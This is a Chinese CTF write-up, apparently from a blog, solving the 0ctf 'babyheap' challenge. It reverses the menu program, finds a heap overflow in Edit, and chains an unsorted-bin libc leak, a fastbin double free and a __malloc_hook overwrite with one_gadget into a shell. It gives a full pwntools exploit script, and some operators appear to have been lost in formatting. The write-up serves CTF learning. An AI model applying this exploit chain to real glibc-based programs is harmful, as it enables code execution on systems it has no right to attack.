文件信息 pwndbg> checksec [*] '/mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保护全开
pwndbg> r Starting program: /mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap ===== Baby Heap in 2017 =====
- Allocate
- Fill
- Free
- Dump
- Exit Command:
是菜单程序:1申请,2编辑,3释放,4读取
逆向分析 主程序:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 v4; // [rsp+8h] [rbp-8h]
v4 = sub_55E213200B70(a1, a2, a3); while ( 1 ) { menu(); switch ( getNum() ) { case 1LL: Add(v4); break; case 2LL: Edit(v4); break; case 3LL: Free(v4); break; case 4LL: Show(v4); break; case 5LL: return 0LL; default: continue; } } }
Add函数:
void __fastcall Add(__int64 a1) { int i; // [rsp+10h] [rbp-10h] int size; // [rsp+14h] [rbp-Ch] void *memPtr; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i ) { if ( !*(_DWORD *)(24LL * i + a1) ) { printf("Size: "); size = getNum(); if ( size > 0 ) { if ( size > 4096 ) size = 4096; memPtr = calloc(size, 1uLL); // calloc will clear mem if ( !memPtr ) exit(-1); *(_DWORD *)(24LL * i + a1) = 1; // this is a struct *(_QWORD *)(a1 + 24LL * i + 8) = size; *(_QWORD *)(a1 + 24LL * i + 16) = memPtr; printf("Allocate Index %d\n", (unsigned int)i); } return; } } }
这里貌似用了一个结构来保存申请的信息,创建一下:
00000000 MemInfo struc ; (sizeof=0x18, mappedto_18) 00000000 isEnable dq ? 00000008 size dq ? 00000010 memPtr dq ? 00000018 MemInfo ends
Edit函数:
__int64 __fastcall Edit(MemInfo *a1) { _int64 buf; // rax int index; // [rsp+18h] [rbp-8h] int size; // [rsp+1Ch] [rbp-4h]
printf("Index: "); buf = getNum(); index_ = buf; if ( (unsigned int)buf <= 0xF ) // max chunk count = 16 { buf = LODWORD(a1[(int)buf].isEnable); // get index if ( (DWORD)buf == 1 ) // 1 represent enable { printf("Size: "); buf = getNum(); size = buf; if ( (int)buf > 0 ) { printf("Content: "); return call_Read2(a1[index].memPtr, size); } } } return buf; }
找到对应的chunk,然后向其中读取内容
Free函数:
__int64 __fastcall Free(MemInfo *a1) { __int64 result; // rax int index; // [rsp+1Ch] [rbp-4h]
printf("Index: "); result = getNum(); index = result; if ( (unsigned int)result <= 0xF ) { result = LODWORD(a1[(int)result].isEnable); if ( (_DWORD)result == 1 ) { LODWORD(a1[index].isEnable) = 0; // set 0 a1[index].size = 0LL; // set size = 0 free((void *)a1[index].memPtr); // free mem result = (__int64)&a1[index]; // clear value *(_QWORD *)(result + 16) = 0LL; } } return result; }
Show函数:
unsigned int __fastcall Show(MemInfo *a1) { unsigned int result; // eax unsigned int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: "); result = getNum(); v2 = result; if ( result <= 0xF ) { result = a1[result].isEnable; if ( result == 1 ) { puts("Content: "); call_Write(a1[v2].memPtr, a1[v2].size); return puts(byte_55E2132014F1); } } return result; }
利用 可用性通过数组成员的值和其标志位来确认,不存在UAF
Edit函数编辑的时候检查的大小来自用户输入,存在溢出问题
这里虽然有数组来保存申请的地址信息,但是PIE的存在,让unlink技术难度很高
这里有一个思路就是,通过溢出,去修改fastbin chunk的指针,测试一下:
chunk1 = add(24) chunk2 = add(24) chunk3 = add(24)
free(chunk3) free(chunk2)
edit(chunk1,24+0x10,b'a'*24 + pack(0x21) + pack(0xdeadbeef))
效果:可行
pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use help set resolve-heap-via-heuristic
for more details.
0x563e52224000 0x0000000000000000 0x0000000000000021 ........!....... 0x563e52224010 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x563e52224020 0x6161616161616161 0x0000000000000021 aaaaaaaa!....... <-- fastbins[0x20][0] 0x563e52224030 0x00000000deadbeef 0x0000000000000000 ................ 0x563e52224040 0x0000000000000000 0x0000000000000021 ........!....... 0x563e52224050 0x0000000000000000 0x0000000000000000 ................ 0x563e52224060 0x0000000000000000 0x0000000000020fa1 ................ <-- Top chunk
可以通过这种方式去修改fastbin的指针,然后去寻找可用的fake chunk申请内存:
pwndbg> find_fake_fast &__malloc_hook global_max_fast symbol not found, using the default value: 0x80 Use `set global-max-fast
` to set the address of global_max_fast manually if needed. Searching for fastbin size fields up to 0x80, starting at 0x7f5eeb894a98 resulting in an overlap of 0x7f5eeb894b10 FAKE CHUNKS Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA Addr: 0x7f5eeb894aed prev_size: 0x5eeb893260000000 size: 0x7f fd: 0x5eeb555e20000000 bk: 0x5eeb555a0000007f fd_nextsize: 0x7f bk_nextsize: 0x00
这里需要0x70大小的fastbin chunk
现在目标明确了,最终是要通过fastbin dup进行利用
现在的问题在于,需要一个libc info leak
libc info leak 可以通过读取unsortedbin chunk的指针来拿到libc的地址
因为能读取的大小是在add的时候就限定死了,没法越界读
这里的一个思路是,申请两个unsorted size chunk,然后通过溢出修改第二个chunk的prev_inused标志位为0,释放第二个的时候触发合并,这样第一个chunk既是可用的,又有了libc的地址,但这里有safe unlink的缓解机制,就没法用了
下一个思路是:申请一个小chunk,通过溢出让其大小变大,大到覆盖下一个chunk,然后再次申请的时候,经过分割,使得新的unsortedbin指针落到我们可用chunk上:
chunk1 = add(0x88) chunk2 = add(0x88) chunk3 = add(0x88) add(0x18) # 分隔top chunk edit(chunk1,0x90,b'\x00'0x88 + pack(0x902+1)) free(chunk2) chunk4 = add(0x88) a = show(chunk3)[:8] print(hex(uu64(a)))
结果:
pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use help set resolve-heap-via-heuristic
for more details.
0x560635da7000 0x0000000000000000 0x0000000000000091 ................ 0x560635da7010 0x0000000000000000 0x0000000000000000 ................ 0x560635da7020 0x0000000000000000 0x0000000000000000 ................ 0x560635da7030 0x0000000000000000 0x0000000000000000 ................ 0x560635da7040 0x0000000000000000 0x0000000000000000 ................ 0x560635da7050 0x0000000000000000 0x0000000000000000 ................ 0x560635da7060 0x0000000000000000 0x0000000000000000 ................ 0x560635da7070 0x0000000000000000 0x0000000000000000 ................ 0x560635da7080 0x0000000000000000 0x0000000000000000 ................
0x560635da7090 0x0000000000000000 0x0000000000000091 ................ 0x560635da70a0 0x0000000000000000 0x0000000000000000 ................ 0x560635da70b0 0x0000000000000000 0x0000000000000000 ................ 0x560635da70c0 0x0000000000000000 0x0000000000000000 ................ 0x560635da70d0 0x0000000000000000 0x0000000000000000 ................ 0x560635da70e0 0x0000000000000000 0x0000000000000000 ................ 0x560635da70f0 0x0000000000000000 0x0000000000000000 ................ 0x560635da7100 0x0000000000000000 0x0000000000000000 ................ 0x560635da7110 0x0000000000000000 0x0000000000000000 ................
0x560635da7120 0x0000000000000000 0x0000000000000091 ................ <-- unsortedbin[all][0] 0x560635da7130 0x00007f0f908eab78 0x00007f0f908eab78 x.......x....... 0x560635da7140 0x0000000000000000 0x0000000000000000 ................ 0x560635da7150 0x0000000000000000 0x0000000000000000 ................ 0x560635da7160 0x0000000000000000 0x0000000000000000 ................ 0x560635da7170 0x0000000000000000 0x0000000000000000 ................ 0x560635da7180 0x0000000000000000 0x0000000000000000 ................ 0x560635da7190 0x0000000000000000 0x0000000000000000 ................ 0x560635da71a0 0x0000000000000000 0x0000000000000000 ................
0x560635da71b0 0x0000000000000090 0x0000000000000020 ........ ....... 0x560635da71c0 0x0000000000000000 0x0000000000000000 ................
0x560635da71d0 0x0000000000000000 0x0000000000020e31 ........1....... <-- Top chunk
顺利读出地址:0x7f0f908eab78
fastbin dup 接下来进行fastbin dup,要进行一次双重释放控制fastbin指针
这里很巧的就是,unsortedbin chunk我们可以申请0x68大小的chunk来分割这个unsortedbin chunk
这样就能拿到两个内存是申请在同一个位置的了,然后绕过fastbin 双重释放的缓解即可:
chunk33 = add(0x68) chunk5 = add(0x68) free(chunk33) free(chunk5) free(chunk3)
结果:
pwndbg> bin fastbins 0x70: 0x565437731120 —▸ 0x5654377311d0 ◂— 0x565437731120 unsortedbin empty smallbins 0x20: 0x565437731190 —▸ 0x7fbe9d02cb88 ◂— 0x565437731190 largebins empty
接下来就是构造fake chunk地址,修改malloc hook,去执行one_gadget拿shell了
fake_chunk = libc.sym.__malloc_hook - 35 chunkA = add(0x68) edit(chunkA,0x8,pack(fake_chunk)) add(0x68) add(0x68) fake = add(0x68) one_gadget = libc.address + 0x4526a edit(fake,35-8,b'0'*(35-16) + pack(one_gadget)) add(0x68)
感觉这里通过溢出来修改fastbin chunk指针更简洁
完整exp #!/bin/python3 from pwn import *
FILE_NAME = "0ctfbabyheap" REMOTE_HOST = "" REMOTE_PORT = 0
elf = context.binary = ELF(FILE_NAME) libc = elf.libc
gs = ''' continue ''' def start(): if args.REMOTE: return remote(REMOTE_HOST,REMOTE_PORT) if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path)
""" """ p = lambda : pause() s = lambda x : success(x) re = lambda m, t : io.recv(numb=m, timeout=t) ru = lambda x : io.recvuntil(x) rl = lambda : io.recvline() sd = lambda x : io.send(x) sl = lambda x : io.sendline(x) ia = lambda : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa = lambda a, b : io.sendafter(a, b) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) """ """
======= helper function ===============
Calculate the "wraparound" distance between two addresses.
def delta(x, y): return (0xffffffffffffffff - x) + y
opt_add = 1 opt_edit = 2 opt_free = 3 opt_show = 4 menu = ""
def add(size): sla(menu, str(opt_add)) sla(b"Size: ", str(size)) ru(b"Allocate Index ") index = ru(b"\n")[:-1] return index.decode('utf-8')
def edit(idx, size ,content): sla(menu, str(opt_edit)) sla(b"Index: ", str(idx)) sla(b"Size: ", str(size)) sla(b"Content: ", content)
def free(idx): sla(menu, str(opt_free)) sla(b"Index: ", str(idx))
def show(idx): sla(menu, str(opt_show)) sla(b"Index: ", str(idx)) ru(b"Content: \n") value = ru(b"1. ")[:-4] return value
=======================================
io = start() io.timeout = 0.1
=============================================================================
============== exploit ===================
libc info leak
chunk1 = add(0x88) chunk2 = add(0x88) chunk3 = add(0x88) add(0x18) # 分隔top chunk edit(chunk1,0x90,b'\x00'0x88 + pack(0x902+1)) free(chunk2) chunk4 = add(0x88) a = uu64(show(chunk3)[:8]) libc.address = a - 3951480 print("[libc address]: "+hex(libc.address))
fastbin dup
double free
chunk33 = add(0x68) chunk5 = add(0x68) free(chunk33) free(chunk5) free(chunk3)
fake chunk
fake_chunk = libc.sym.__malloc_hook - 35 chunkA = add(0x68) edit(chunkA,0x8,pack(fake_chunk)) add(0x68) add(0x68) fake = add(0x68) one_gadget = libc.address + 0x4526a edit(fake,35-8,b'0'*(35-16) + pack(one_gadget)) add(0x68)
=============================================================================
io.interactive() """ ➜ 0ctf_babyheap one_gadget libc-2.23.so 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """
标签:0ctf,chunk,babyheap,................,add,0x68,0x0000000000000000,size From: https://blog.51cto.com/u_15452079/7399151